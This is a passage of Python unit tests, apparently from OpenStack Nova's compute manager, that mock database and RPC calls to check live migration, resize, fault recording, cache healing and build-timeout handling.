'foo'}) inst_ref = jsonutils.to_primitive(inst_ref) self.compute.prep_resize(self.context, instance=inst_ref, instance_type=instance_type, image={}, reservations=reservations) migration_ref = db.migration_get_by_instance_and_status( self.context.elevated(), inst_ref['uuid'], 'pre-migrating') db.instance_update(self.context, inst_ref['uuid'], {"task_state": task_states.RESIZE_PREP}) self.assertRaises(test.TestingException, self.compute.resize_instance, self.context, instance=inst_ref, migration=migration_ref, image={}, reservations=reservations, instance_type=jsonutils.to_primitive(instance_type)) inst_ref = db.instance_get_by_uuid(self.context, inst_ref['uuid']) self.assertEqual(inst_ref['vm_state'], vm_states.ERROR) self.compute.terminate_instance(self.context, instance=jsonutils.to_primitive(inst_ref)) def test_check_can_live_migrate_source_works_correctly(self): # Confirm check_can_live_migrate_source works on positive path. def fake_method(*args, **kwargs): return {} self.stubs.Set(self.compute.driver, 'check_can_live_migrate_source', fake_method) inst_ref = jsonutils.to_primitive(self._create_fake_instance( {'host': 'fake_host_2'})) self.mox.StubOutWithMock(db, 'instance_get') dest_check_data = {"test": "data"} self.mox.ReplayAll() ret = self.compute.check_can_live_migrate_source(self.context, dest_check_data=dest_check_data, instance=inst_ref) self.assertTrue(type(ret) == dict) def test_check_can_live_migrate_destination_works_correctly(self): # Confirm check_can_live_migrate_destination works on positive path. def fake_method(*args, **kwargs): return {} self.stubs.Set(self.compute.compute_rpcapi, 'check_can_live_migrate_source', fake_method) inst_ref = jsonutils.to_primitive(self._create_fake_instance( {'host': 'fake_host_2'})) compute_info = {"compute": "info"} self.mox.StubOutWithMock(self.compute, '_get_compute_info') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_destination') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_destination_cleanup') dest_check_data = {"test": "data", "migrate_data": {"test": "data"}} self.compute._get_compute_info( self.context, inst_ref['host']).AndReturn(compute_info) self.compute._get_compute_info( self.context, CONF.host).AndReturn(compute_info) self.compute.driver.check_can_live_migrate_destination(self.context, inst_ref, compute_info, compute_info, True, False).AndReturn(dest_check_data) self.compute.compute_rpcapi.check_can_live_migrate_source(self.context, inst_ref, dest_check_data) self.compute.driver.check_can_live_migrate_destination_cleanup( self.context, dest_check_data) self.mox.ReplayAll() ret = self.compute.check_can_live_migrate_destination(self.context, block_migration=True, disk_over_commit=False, instance=inst_ref) self.assertTrue(type(ret) == dict) self.assertTrue("test" in ret) def test_check_can_live_migrate_destination_fails_dest_check(self): inst_ref = jsonutils.to_primitive(self._create_fake_instance( {'host': 'fake_host_2'})) compute_info = {"compute": "info"} self.mox.StubOutWithMock(self.compute, '_get_compute_info') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_destination') self.compute._get_compute_info( self.context, inst_ref['host']).AndReturn(compute_info) self.compute._get_compute_info( self.context, CONF.host).AndReturn(compute_info) self.compute.driver.check_can_live_migrate_destination(self.context, inst_ref, compute_info, compute_info, True, False).AndRaise(exception.Invalid()) self.mox.ReplayAll() self.assertRaises(exception.Invalid, self.compute.check_can_live_migrate_destination, self.context, block_migration=True, disk_over_commit=False, instance=inst_ref) def test_check_can_live_migrate_destination_fails_source(self): # Confirm check_can_live_migrate_destination works on positive path. inst_ref = jsonutils.to_primitive(self._create_fake_instance( {'host': 'fake_host_2'})) compute_info = {"compute": "info"} self.mox.StubOutWithMock(self.compute, '_get_compute_info') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_destination') self.mox.StubOutWithMock(self.compute.compute_rpcapi, 'check_can_live_migrate_source') self.mox.StubOutWithMock(self.compute.driver, 'check_can_live_migrate_destination_cleanup') dest_check_data = {"test": "data"} self.compute._get_compute_info( self.context, inst_ref['host']).AndReturn(compute_info) self.compute._get_compute_info( self.context, CONF.host).AndReturn(compute_info) self.compute.driver.check_can_live_migrate_destination(self.context, inst_ref, compute_info, compute_info, True, False).AndReturn(dest_check_data) self.compute.compute_rpcapi.check_can_live_migrate_source(self.context, inst_ref, dest_check_data).AndRaise(exception.Invalid()) self.compute.driver.check_can_live_migrate_destination_cleanup( self.context, dest_check_data) self.mox.ReplayAll() self.assertRaises(exception.Invalid, self.compute.check_can_live_migrate_destination, self.context, block_migration=True, disk_over_commit=False, instance=inst_ref) def test_pre_live_migration_instance_has_no_fixed_ip(self): # Confirm raising exception if instance doesn't have fixed_ip. # creating instance testdata instance = jsonutils.to_primitive(self._create_fake_instance()) self.mox.ReplayAll() self.assertRaises(exception.FixedIpNotFoundForInstance, self.compute.pre_live_migration, self.context, instance=instance) def test_pre_live_migration_works_correctly(self): # Confirm setup_compute_volume is called when volume is mounted. def stupid(*args, **kwargs): return fake_network.fake_get_instance_nw_info(self.stubs, spectacular=True) self.stubs.Set(nova.compute.manager.ComputeManager, '_get_instance_nw_info', stupid) # creating instance testdata instance = jsonutils.to_primitive(self._create_fake_instance( {'host': 'dummy'})) c = context.get_admin_context() nw_info = fake_network.fake_get_instance_nw_info(self.stubs) # creating mocks self.mox.StubOutWithMock(self.compute.driver, 'pre_live_migration') self.compute.driver.pre_live_migration(mox.IsA(c), mox.IsA(instance), {'block_device_mapping': []}, mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()) self.mox.StubOutWithMock(self.compute.driver, 'ensure_filtering_rules_for_instance') self.compute.driver.ensure_filtering_rules_for_instance( mox.IsA(instance), nw_info) test_notifier.NOTIFICATIONS = [] # start test self.mox.ReplayAll() migrate_data = {'is_shared_storage': False} ret = self.compute.pre_live_migration(c, instance=instance, block_migration=False, migrate_data=migrate_data) self.assertEqual(ret, None) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'compute.instance.live_migration.pre.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'compute.instance.live_migration.pre.end') # cleanup db.instance_destroy(c, instance['uuid']) def test_live_migration_exception_rolls_back(self): # Confirm exception when pre_live_migration fails. c = context.get_admin_context() src_host = 'fake-src-host' instance = dict(uuid='fake_instance', host=src_host, name='fake-name') updated_instance = self._create_fake_instance( {'host': 'fake-dest-host'}) dest_host = updated_instance['host'] fake_bdms = [dict(volume_id='vol1-id'), dict(volume_id='vol2-id')] # creating mocks self.mox.StubOutWithMock(rpc, 'call') self.mox.StubOutWithMock(self.compute.driver, 'get_instance_disk_info') self.mox.StubOutWithMock(self.compute.compute_rpcapi, 'pre_live_migration') self.mox.StubOutWithMock(self.compute, '_instance_update') self.mox.StubOutWithMock(self.compute, '_get_instance_volume_bdms') self.mox.StubOutWithMock(self.compute.network_api, 'setup_networks_on_host') self.mox.StubOutWithMock(self.compute.compute_rpcapi, 'remove_volume_connection') self.mox.StubOutWithMock(self.compute.compute_rpcapi, 'rollback_live_migration_at_destination') self.compute.driver.get_instance_disk_info( instance['name']).AndReturn('fake_disk') self.compute.compute_rpcapi.pre_live_migration(c, instance, True, 'fake_disk', dest_host, {}).AndRaise(test.TestingException()) self.compute._instance_update(c, instance['uuid'], host=src_host, vm_state=vm_states.ACTIVE, task_state=None, expected_task_state=task_states.MIGRATING).AndReturn( updated_instance) self.compute.network_api.setup_networks_on_host(c, updated_instance, self.compute.host) self.compute._get_instance_volume_bdms(c, updated_instance).AndReturn(fake_bdms) self.compute.compute_rpcapi.remove_volume_connection( c, updated_instance, 'vol1-id', dest_host) self.compute.compute_rpcapi.remove_volume_connection( c, updated_instance, 'vol2-id', dest_host) self.compute.compute_rpcapi.rollback_live_migration_at_destination( c, updated_instance, dest_host) # start test self.mox.ReplayAll() self.assertRaises(test.TestingException, self.compute.live_migration, c, dest=dest_host, block_migration=True, instance=instance) def test_live_migration_works_correctly(self): # Confirm live_migration() works as expected correctly. # creating instance testdata c = context.get_admin_context() instance_ref = self._create_fake_instance({'host': 'dummy'}) inst_uuid = instance_ref['uuid'] inst_id = instance_ref['id'] instance = jsonutils.to_primitive(db.instance_get(c, inst_id)) # start test self.mox.ReplayAll() migrate_data = {'is_shared_storage': False} ret = self.compute.live_migration(c, dest=instance['host'], instance=instance, migrate_data=migrate_data) self.assertEqual(ret, None) # cleanup db.instance_destroy(c, inst_uuid) def test_post_live_migration_no_shared_storage_working_correctly(self): """Confirm post_live_migration() works correctly as expected for non shared storage migration. """ # Create stubs result = {} def fakedestroy(*args, **kwargs): result['destroyed'] = True self.stubs.Set(self.compute.driver, 'destroy', fakedestroy) dest = 'desthost' srchost = self.compute.host # creating testdata c = context.get_admin_context() inst_ref = jsonutils.to_primitive(self._create_fake_instance({ 'host': srchost, 'state_description': 'migrating', 'state': power_state.PAUSED})) inst_uuid = inst_ref['uuid'] inst_id = inst_ref['id'] db.instance_update(c, inst_uuid, {'task_state': task_states.MIGRATING, 'power_state': power_state.PAUSED}) # creating mocks self.mox.StubOutWithMock(self.compute.driver, 'unfilter_instance') self.compute.driver.unfilter_instance(inst_ref, []) self.mox.StubOutWithMock(self.compute.conductor_api, 'network_migrate_instance_start') migration = {'source_compute': srchost, 'dest_compute': dest, } self.compute.conductor_api.network_migrate_instance_start(c, inst_ref, migration) self.mox.StubOutWithMock(rpc, 'call') rpc.call(c, rpc.queue_get_for(c, CONF.compute_topic, dest), {"method": "post_live_migration_at_destination", "namespace": None, "args": {'instance': inst_ref, 'block_migration': False}, "version": compute_rpcapi.ComputeAPI.BASE_RPC_API_VERSION}, None) rpc.call(c, 'network', {'method': 'setup_networks_on_host', 'namespace': None, 'args': {'instance_id': inst_id, 'host': self.compute.host, 'teardown': True}, 'version': '1.0'}, None) # start test self.mox.ReplayAll() migrate_data = {'is_shared_storage': False} self.compute._post_live_migration(c, inst_ref, dest, migrate_data=migrate_data) self.assertTrue('destroyed' in result) self.assertTrue(result['destroyed'] == True) def test_post_live_migration_working_correctly(self): # Confirm post_live_migration() works as expected correctly. dest = 'desthost' srchost = self.compute.host # creating testdata c = context.get_admin_context() inst_ref = jsonutils.to_primitive(self._create_fake_instance({ 'host': srchost, 'state_description': 'migrating', 'state': power_state.PAUSED})) inst_uuid = inst_ref['uuid'] inst_id = inst_ref['id'] db.instance_update(c, inst_uuid, {'task_state': task_states.MIGRATING, 'power_state': power_state.PAUSED}) # creating mocks self.mox.StubOutWithMock(self.compute.driver, 'unfilter_instance') self.compute.driver.unfilter_instance(inst_ref, []) self.mox.StubOutWithMock(self.compute.conductor_api, 'network_migrate_instance_start') migration = {'source_compute': srchost, 'dest_compute': dest, } self.compute.conductor_api.network_migrate_instance_start(c, inst_ref, migration) self.mox.StubOutWithMock(rpc, 'call') rpc.call(c, rpc.queue_get_for(c, CONF.compute_topic, dest), {"method": "post_live_migration_at_destination", "namespace": None, "args": {'instance': inst_ref, 'block_migration': False}, "version": compute_rpcapi.ComputeAPI.BASE_RPC_API_VERSION}, None) self.mox.StubOutWithMock(self.compute.driver, 'unplug_vifs') self.compute.driver.unplug_vifs(inst_ref, []) rpc.call(c, 'network', {'method': 'setup_networks_on_host', 'namespace': None, 'args': {'instance_id': inst_id, 'host': self.compute.host, 'teardown': True}, 'version': '1.0'}, None) # start test self.mox.ReplayAll() self.compute._post_live_migration(c, inst_ref, dest) def _begin_post_live_migration_at_destination(self): self.mox.StubOutWithMock(self.compute.network_api, 'setup_networks_on_host') self.mox.StubOutWithMock(self.compute.conductor_api, 'network_migrate_instance_finish') self.mox.StubOutWithMock(self.compute, '_get_power_state') self.mox.StubOutWithMock(self.compute, '_get_compute_info') params = {'task_state': task_states.MIGRATING, 'power_state': power_state.PAUSED, } self.instance = jsonutils.to_primitive( self._create_fake_instance(params)) self.admin_ctxt = context.get_admin_context() self.instance = db.instance_get_by_uuid(self.admin_ctxt, self.instance['uuid']) self.compute.network_api.setup_networks_on_host(self.admin_ctxt, self.instance, self.compute.host) migration = {'source_compute': self.instance['host'], 'dest_compute': self.compute.host, } self.compute.conductor_api.network_migrate_instance_finish( self.admin_ctxt, self.instance, migration) fake_net_info = [] fake_block_dev_info = {'foo': 'bar'} self.compute.driver.post_live_migration_at_destination(self.admin_ctxt, self.instance, fake_net_info, False, fake_block_dev_info) self.compute._get_power_state(self.admin_ctxt, self.instance).AndReturn( 'fake_power_state') def _finish_post_live_migration_at_destination(self): self.compute.network_api.setup_networks_on_host(self.admin_ctxt, mox.IgnoreArg(), self.compute.host) test_notifier.NOTIFICATIONS = [] self.mox.ReplayAll() self.compute.post_live_migration_at_destination(self.admin_ctxt, self.instance) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'compute.instance.live_migration.post.dest.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'compute.instance.live_migration.post.dest.end') return self.compute.conductor_api.instance_get_by_uuid(self.admin_ctxt, self.instance['uuid']) def test_post_live_migration_at_destination_with_compute_info(self): """The instance's node property should be updated correctly.""" self._begin_post_live_migration_at_destination() hypervisor_hostname = 'fake_hypervisor_hostname' fake_compute_info = {'hypervisor_hostname': hypervisor_hostname} self.compute._get_compute_info(mox.IgnoreArg(), mox.IgnoreArg()).AndReturn( fake_compute_info) updated = self._finish_post_live_migration_at_destination() self.assertEqual(updated['node'], hypervisor_hostname) def test_post_live_migration_at_destination_without_compute_info(self): """The instance's node property should be set to None if we fail to get compute_info. """ self._begin_post_live_migration_at_destination() self.compute._get_compute_info(mox.IgnoreArg(), mox.IgnoreArg()).AndRaise( exception.NotFound()) updated = self._finish_post_live_migration_at_destination() self.assertIsNone(updated['node']) def test_rollback_live_migration_at_destination_correctly(self): # creating instance testdata c = context.get_admin_context() instance_ref = self._create_fake_instance({'host': 'dummy'}) inst_uuid = instance_ref['uuid'] inst_id = instance_ref['id'] instance = jsonutils.to_primitive(db.instance_get(c, inst_id)) test_notifier.NOTIFICATIONS = [] # start test self.mox.ReplayAll() ret = self.compute.rollback_live_migration_at_destination(c, instance=instance) self.assertEqual(ret, None) self.assertEqual(len(test_notifier.NOTIFICATIONS), 2) msg = test_notifier.NOTIFICATIONS[0] self.assertEqual(msg['event_type'], 'compute.instance.live_migration.rollback.dest.start') msg = test_notifier.NOTIFICATIONS[1] self.assertEqual(msg['event_type'], 'compute.instance.live_migration.rollback.dest.end') # cleanup db.instance_destroy(c, inst_uuid) def test_run_kill_vm(self): # Detect when a vm is terminated behind the scenes. self.stubs.Set(compute_manager.ComputeManager, '_report_driver_status', nop_report_driver_status) instance = jsonutils.to_primitive(self._create_fake_instance()) self.compute.run_instance(self.context, instance=instance) instances = db.instance_get_all(self.context) LOG.info(_("Running instances: %s"), instances) self.assertEqual(len(instances), 1) instance_name = instances[0]['name'] self.compute.driver.test_remove_vm(instance_name) # Force the compute manager to do its periodic poll ctxt = context.get_admin_context() self.compute._sync_power_states(ctxt) instances = db.instance_get_all(self.context) LOG.info(_("After force-killing instances: %s"), instances) self.assertEqual(len(instances), 1) self.assertEqual(instances[0]['task_state'], None) def test_add_instance_fault(self): instance = self._create_fake_instance() exc_info = None def fake_db_fault_create(ctxt, values): self.assertTrue(values['details'].startswith('test')) self.assertTrue('raise NotImplementedError' in values['details']) del values['details'] expected = { 'code': 500, 'message': 'NotImplementedError', 'instance_uuid': instance['uuid'], 'host': self.compute.host } self.assertEquals(expected, values) try: raise NotImplementedError('test') except NotImplementedError: exc_info = sys.exc_info() self.stubs.Set(nova.db, 'instance_fault_create', fake_db_fault_create) ctxt = context.get_admin_context() compute_utils.add_instance_fault_from_exc(ctxt, self.compute.conductor_api, instance, NotImplementedError('test'), exc_info) def test_add_instance_fault_with_remote_error(self): instance = self._create_fake_instance() exc_info = None def fake_db_fault_create(ctxt, values): self.assertTrue(values['details'].startswith('Remote error')) self.assertTrue('raise rpc_common.RemoteError' in values['details']) del values['details'] expected = { 'code': 500, 'instance_uuid': instance['uuid'], 'message': 'My Test Message', 'host': self.compute.host } self.assertEquals(expected, values) try: raise rpc_common.RemoteError('test', 'My Test Message') except rpc_common.RemoteError as exc: exc_info = sys.exc_info() self.stubs.Set(nova.db, 'instance_fault_create', fake_db_fault_create) ctxt = context.get_admin_context() compute_utils.add_instance_fault_from_exc(ctxt, self.compute.conductor_api, instance, exc, exc_info) def test_add_instance_fault_user_error(self): instance = self._create_fake_instance() exc_info = None def fake_db_fault_create(ctxt, values): expected = { 'code': 400, 'message': 'Invalid', 'details': 'fake details', 'instance_uuid': instance['uuid'], 'host': self.compute.host } self.assertEquals(expected, values) user_exc = exception.Invalid('fake details', code=400) try: raise user_exc except exception.Invalid: exc_info = sys.exc_info() self.stubs.Set(nova.db, 'instance_fault_create', fake_db_fault_create) ctxt = context.get_admin_context() compute_utils.add_instance_fault_from_exc(ctxt, self.compute.conductor_api, instance, user_exc, exc_info) def test_add_instance_fault_no_exc_info(self): instance = self._create_fake_instance() def fake_db_fault_create(ctxt, values): expected = { 'code': 500, 'message': 'NotImplementedError', 'details': 'test', 'instance_uuid': instance['uuid'], 'host': self.compute.host } self.assertEquals(expected, values) self.stubs.Set(nova.db, 'instance_fault_create', fake_db_fault_create) ctxt = context.get_admin_context() compute_utils.add_instance_fault_from_exc(ctxt, self.compute.conductor_api, instance, NotImplementedError('test')) def test_cleanup_running_deleted_instances(self): admin_context = context.get_admin_context() deleted_at = (timeutils.utcnow() - datetime.timedelta(hours=1, minutes=5)) instance1 = self._create_fake_instance({"deleted_at": deleted_at, "deleted": True}) instance2 = self._create_fake_instance({"deleted_at": deleted_at, "deleted": True}) self.mox.StubOutWithMock(self.compute, '_get_instances_on_driver') self.compute._get_instances_on_driver( admin_context, {'deleted': True, 'soft_deleted': False, 'host': self.compute.host}).AndReturn([instance1, instance2]) self.flags(running_deleted_instance_timeout=3600, running_deleted_instance_action='reap') bdms = [] self.mox.StubOutWithMock(self.compute, "_shutdown_instance") # Simulate an error and make sure cleanup proceeds with next instance. self.compute._shutdown_instance(admin_context, instance1, bdms).AndRaise(test.TestingException) self.compute._shutdown_instance(admin_context, instance2, bdms).AndReturn(None) self.mox.StubOutWithMock(self.compute, "_cleanup_volumes") self.compute._cleanup_volumes(admin_context, instance1['uuid'], bdms).AndReturn(None) self.mox.ReplayAll() self.compute._cleanup_running_deleted_instances(admin_context) def test_running_deleted_instances(self): admin_context = context.get_admin_context() self.compute.host = 'host' instance1 = {} instance1['deleted'] = True instance1['deleted_at'] = "sometimeago" self.mox.StubOutWithMock(self.compute, '_get_instances_on_driver') self.compute._get_instances_on_driver( admin_context, {'deleted': True, 'soft_deleted': False, 'host': self.compute.host}).AndReturn([instance1]) self.mox.StubOutWithMock(timeutils, 'is_older_than') timeutils.is_older_than('sometimeago', CONF.running_deleted_instance_timeout).AndReturn(True) self.mox.ReplayAll() val = self.compute._running_deleted_instances(admin_context) self.assertEqual(val, [instance1]) def test_get_instance_nw_info(self): fake_network.unset_stub_network_methods(self.stubs) fake_instance = {'uuid': 'fake-instance'} fake_nw_info = network_model.NetworkInfo() self.mox.StubOutWithMock(self.compute.network_api, 'get_instance_nw_info') self.mox.StubOutWithMock(self.compute.conductor_api, 'instance_info_cache_update') self.mox.StubOutWithMock(self.compute.conductor_api, 'instance_get_by_uuid') self.compute.conductor_api.instance_get_by_uuid( self.context, fake_instance['uuid']).AndReturn(fake_instance) self.compute.network_api.get_instance_nw_info(self.context, fake_instance).AndReturn(fake_nw_info) self.mox.ReplayAll() result = self.compute._get_instance_nw_info(self.context, fake_instance) self.assertEqual(fake_nw_info, result) def test_heal_instance_info_cache(self): # Update on every call for the test self.flags(heal_instance_info_cache_interval=-1) ctxt = context.get_admin_context() instance_map = {} instances = [] for x in xrange(5): inst_uuid = 'fake-uuid-%s' % x instance_map[inst_uuid] = fake_instance.fake_db_instance( uuid=inst_uuid, host=CONF.host, created_at=None) # These won't be in our instance since they're not requested instances.append(instance_map[inst_uuid]) call_info = {'get_all_by_host': 0, 'get_by_uuid': 0, 'get_nw_info': 0, 'expected_instance': None} def fake_instance_get_all_by_host(context, host, columns_to_join): call_info['get_all_by_host'] += 1 self.assertEqual(columns_to_join, []) return instances[:] def fake_instance_get_by_uuid(context, instance_uuid, columns_to_join): if instance_uuid not in instance_map: raise exception.InstanceNotFound(instance_id=instance_uuid) call_info['get_by_uuid'] += 1 return instance_map[instance_uuid] # NOTE(comstud): Override the stub in setUp() def fake_get_instance_nw_info(context, instance): # Note that this exception gets caught in compute/manager # and is ignored. However, the below increment of # 'get_nw_info' won't happen, and you'll get an assert # failure checking it below. self.assertEqual(call_info['expected_instance']['uuid'], instance['uuid']) call_info['get_nw_info'] += 1 self.stubs.Set(db, 'instance_get_all_by_host', fake_instance_get_all_by_host) self.stubs.Set(db, 'instance_get_by_uuid', fake_instance_get_by_uuid) self.stubs.Set(self.compute, '_get_instance_nw_info', fake_get_instance_nw_info) call_info['expected_instance'] = instances[0] self.compute._heal_instance_info_cache(ctxt) self.assertEqual(1, call_info['get_all_by_host']) self.assertEqual(0, call_info['get_by_uuid']) self.assertEqual(1, call_info['get_nw_info']) call_info['expected_instance'] = instances[1] self.compute._heal_instance_info_cache(ctxt) self.assertEqual(1, call_info['get_all_by_host']) self.assertEqual(1, call_info['get_by_uuid']) self.assertEqual(2, call_info['get_nw_info']) # Make an instance switch hosts instances[2]['host'] = 'not-me' # Make an instance disappear instance_map.pop(instances[3]['uuid']) # '2' and '3' should be skipped.. call_info['expected_instance'] = instances[4] self.compute._heal_instance_info_cache(ctxt) self.assertEqual(call_info['get_all_by_host'], 1) # Incremented for '2' and '4'.. '3' caused a raise above. self.assertEqual(call_info['get_by_uuid'], 3) self.assertEqual(call_info['get_nw_info'], 3) # Should be no more left. self.assertEqual(len(self.compute._instance_uuids_to_heal), 0) # This should cause a DB query now so we get first instance # back again call_info['expected_instance'] = instances[0] self.compute._heal_instance_info_cache(ctxt) self.assertEqual(call_info['get_all_by_host'], 2) # Stays the same, because the instance came from the DB self.assertEqual(call_info['get_by_uuid'], 3) self.assertEqual(call_info['get_nw_info'], 4) def test_poll_rescued_instances(self): timed_out_time = timeutils.utcnow() - datetime.timedelta(minutes=5) not_timed_out_time = timeutils.utcnow() instances = [{'uuid': 'fake_uuid1', 'vm_state': vm_states.RESCUED, 'launched_at': timed_out_time}, {'uuid': 'fake_uuid2', 'vm_state': vm_states.RESCUED, 'launched_at': timed_out_time}, {'uuid': 'fake_uuid3', 'vm_state': vm_states.RESCUED, 'launched_at': not_timed_out_time}] unrescued_instances = {'fake_uuid1': False, 'fake_uuid2': False} def fake_instance_get_all_by_filters(context, filters, columns_to_join): self.assertEqual(columns_to_join, []) return instances def fake_unrescue(context, instance): unrescued_instances[instance['uuid']] = True self.stubs.Set(self.compute.conductor_api, 'instance_get_all_by_filters', fake_instance_get_all_by_filters) self.stubs.Set(self.compute.conductor_api, 'compute_unrescue', fake_unrescue) self.flags(rescue_timeout=60) ctxt = context.get_admin_context() self.compute._poll_rescued_instances(ctxt) for instance in unrescued_instances.values(): self.assertTrue(instance) def test_poll_unconfirmed_resizes(self): instances = [ fake_instance.fake_db_instance(uuid='fake_uuid1', vm_state=vm_states.RESIZED, task_state=None), fake_instance.fake_db_instance(uuid='noexist'), fake_instance.fake_db_instance(uuid='fake_uuid2', vm_state=vm_states.ERROR, task_state=None), fake_instance.fake_db_instance(uuid='fake_uuid3', vm_state=vm_states.ACTIVE, task_state= task_states.REBOOTING), fake_instance.fake_db_instance(uuid='fake_uuid4', vm_state=vm_states.RESIZED, task_state=None), fake_instance.fake_db_instance(uuid='fake_uuid5', vm_state=vm_states.ACTIVE, task_state=None), fake_instance.fake_db_instance(uuid='fake_uuid6', vm_state=vm_states.RESIZED, task_state='deleting')] expected_migration_status = {'fake_uuid1': 'confirmed', 'noexist': 'error', 'fake_uuid2': 'error', 'fake_uuid3': 'error', 'fake_uuid4': None, 'fake_uuid5': 'error', 'fake_uuid6': 'error'} migrations = [] for i, instance in enumerate(instances, start=1): migrations.append({'id': i, 'instance_uuid': instance['uuid'], 'status': None}) def fake_instance_get_by_uuid(context, instance_uuid, columns_to_join=None): # raise InstanceNotFound exception for uuid 'noexist' if instance_uuid == 'noexist': raise exception.InstanceNotFound(instance_id=instance_uuid) for instance in instances: if instance['uuid'] == instance_uuid: return instance def fake_migration_get_unconfirmed_by_dest_compute(context, resize_confirm_window, dest_compute): self.assertEqual(dest_compute, CONF.host) return migrations def fake_migration_update(context, m, status): for migration in migrations: if migration['id'] == m['id']: migration['status'] = status def fake_confirm_resize(context, instance, migration_ref=None): # raise exception for 'fake_uuid4' to check migration status # does not get set to 'error' on confirm_resize failure. if instance['uuid'] == 'fake_uuid4': raise test.TestingException self.assertNotEqual(migration_ref, None) for migration in migrations: if (migration['instance_uuid'] == migration_ref['instance_uuid']): migration['status'] = 'confirmed' self.stubs.Set(db, 'instance_get_by_uuid', fake_instance_get_by_uuid) self.stubs.Set(db, 'migration_get_unconfirmed_by_dest_compute', fake_migration_get_unconfirmed_by_dest_compute) self.stubs.Set(self.compute.conductor_api, 'migration_update', fake_migration_update) self.stubs.Set(self.compute.conductor_api, 'compute_confirm_resize', fake_confirm_resize) def fetch_instance_migration_status(instance_uuid): for migration in migrations: if migration['instance_uuid'] == instance_uuid: return migration['status'] self.flags(resize_confirm_window=60) ctxt = context.get_admin_context() self.compute._poll_unconfirmed_resizes(ctxt) for uuid, status in expected_migration_status.iteritems(): self.assertEqual(status, fetch_instance_migration_status(uuid)) def test_instance_build_timeout_disabled(self): self.flags(instance_build_timeout=0) ctxt = context.get_admin_context() called = {'get_all': False, 'set_error_state': 0} created_at = timeutils.utcnow() + datetime.timedelta(seconds=-60) def fake_instance_get_all_by_filters(context, filters, *args, **kw): called['get_all'] = True self.assertIn('host', filters) self.assertEqual(kw['columns_to_join'], []) return instances[:] self.stubs.Set(db, 'instance_get_all_by_filters', fake_instance_get_all_by_filters) def fake_set_instance_error_state(_ctxt, instance_uuid, **kwargs): called['set_error_state'] += 1 self.stubs.Set(self.compute, '_set_instance_error_state', fake_set_instance_error_state) instance_map = {} instances = [] for x in xrange(5): uuid = 'fake-uuid-%s' % x instance_map[uuid] = {'uuid': uuid, 'host': CONF.host, 'vm_state': vm_states.BUILDING, 'created_at': created_at} instances.append(instance_map[uuid]) self.compute._check_instance_build_time(ctxt) self.assertFalse(called['get_all']) self.assertEqual(called['set_error_state'], 0) def test_instance_build_timeout(self): self.flags(instance_build_timeout=30) ctxt = context.get_admin_context() called = {'get_all': False, 'set_error_state': 0} created_at = timeutils.utcnow() + datetime.timedelta(seconds=-60) def fake_instance_get_all_by_filters(*args, **kwargs): called['get_all'] = True return instances[:] self.stubs.Set(db, 'instance_get_all_by_filters', fake_instance_get_all_by_filters) def fake_set_instance_error_state(_ctxt, instance_uuid, **kwargs): called['set_error_state'] += 1 self.stubs.Set(self.compute, '_set_instance_error_state', fake_set_instance_error_state) instance_map = {} instances = [] for x in xrange(5): uuid = 'fake-uuid-%s' % x instance_map[uuid] = {'uuid': uuid, 'host': CONF.host, 'vm_state': vm_states.BUILDING, 'created_at': created_at} instances.append(instance_map[uuid]) self.compute._check_instance_build_time(ctxt) self.assertTrue(called['get_all']) self.assertEqual(called['set_error_state'], 5) def test_instance_build_timeout_mixed_instances(self): self.flags(instance_build_timeout=30) ctxt = context.get_admin_context() called = {'get_all': False, 'set_error_state': 0} created_at = timeutils.utcnow() + datetime.timedelta(seconds=-60) def fake_instance_get_all_by_filters(*args, **kwargs): called['get_all'] = True return instances[:] self.stubs.Set(db, 'instance_get_all_by_filters', fake_instance_get_all_by_filters) def fake_set_instance_error_state(_ctxt, instance_uuid, **kwargs): called['set_error_state'] += 1 self.stubs.Set(self.compute, '_set_instance_error_state', fake_set_instance_error_state) instance_map = {} instances = [] #expired instances for x in xrange(4): uuid = 'fake-uuid-%s' % x instance_map[uuid] = {'uuid': uuid, 'host': CONF.host, 'vm_state': vm_states.BUILDING, 'created_at': created_at} instances.append(instance_map[uuid]) #not expired uuid = 'fake-uuid-5' instance_map[uuid] = { 'uuid': uuid, 'host': CONF.host, 'vm_state': vm_states.BUILDING, 'created_at': timeutils.utcnow(), } instances.append(instance_map[uuid]) self.compute._check_instance_build_time(ctxt) self.assertTrue(called['get_all']) self.assertEqual(called['set_error_state'], 4) def test_get_resource_tracker_fail(self): self.assertRaises(exception.NovaException, self.compute._get_resource_tracker, 'invalidnodename') def test_instance_update_host_check(self): # make sure rt usage doesn't happen if the host or node is different def fail_get(nodename): raise test.TestingException(_("wrong host/node")) self.stubs.Set(self.compute, '_get_resource_tracker', fail_get) instance = self._create_fake_instance({'host': 'someotherhost'}) self.compute._instance_update(self.context, instance['uuid']) instance = self._create_fake_instance({'node': 'someothernode'}) self.compute._instance_update(self.context, instance['uuid']) params = {'host': 'someotherhost', 'node': 'someothernode'} instance = self._create_fake_instance(params) self.compute._instance_update(self.context, instance['uuid']) def test_destroy_evacuated_instance_on_shared_storage(self): fake_context = context.get_admin_context() # instances in central db instances = [ # those are still related to this host jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})), jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})), jsonutils.to_primitive(self._create_fake_instance( {'host': self.compute.host})) ] # those are already been evacuated to other host evacuated_instance = self._create_fake_instance({'host': 'otherhost'}) instances.append(evacuated_instance) self.mox.StubOutWithMock(self.compute, '_get_instances_on_driver') self.mox.StubOutWithMock(self.compute, '_get_instance_nw_info') self.mox.StubOutWithMock(self.compute, '_get_instance_volume_block_device_info') self.mox.StubOutWithMock(self.compute, '_is_instance_storage_shared') self.mox.StubOutWithMock(self.compute, '_legacy_nw_info') self.mox.StubOutWithMock(self.compute.driver, 'destroy') self.compute._get_instances_on_driver( fake_context, {'deleted': False}).AndReturn(instances) self.compute._get_instance_nw_info(fake_context, evacuated_instance).AndReturn( 'fake_network_info') self.compute._get_instance_volume_block_device_info( 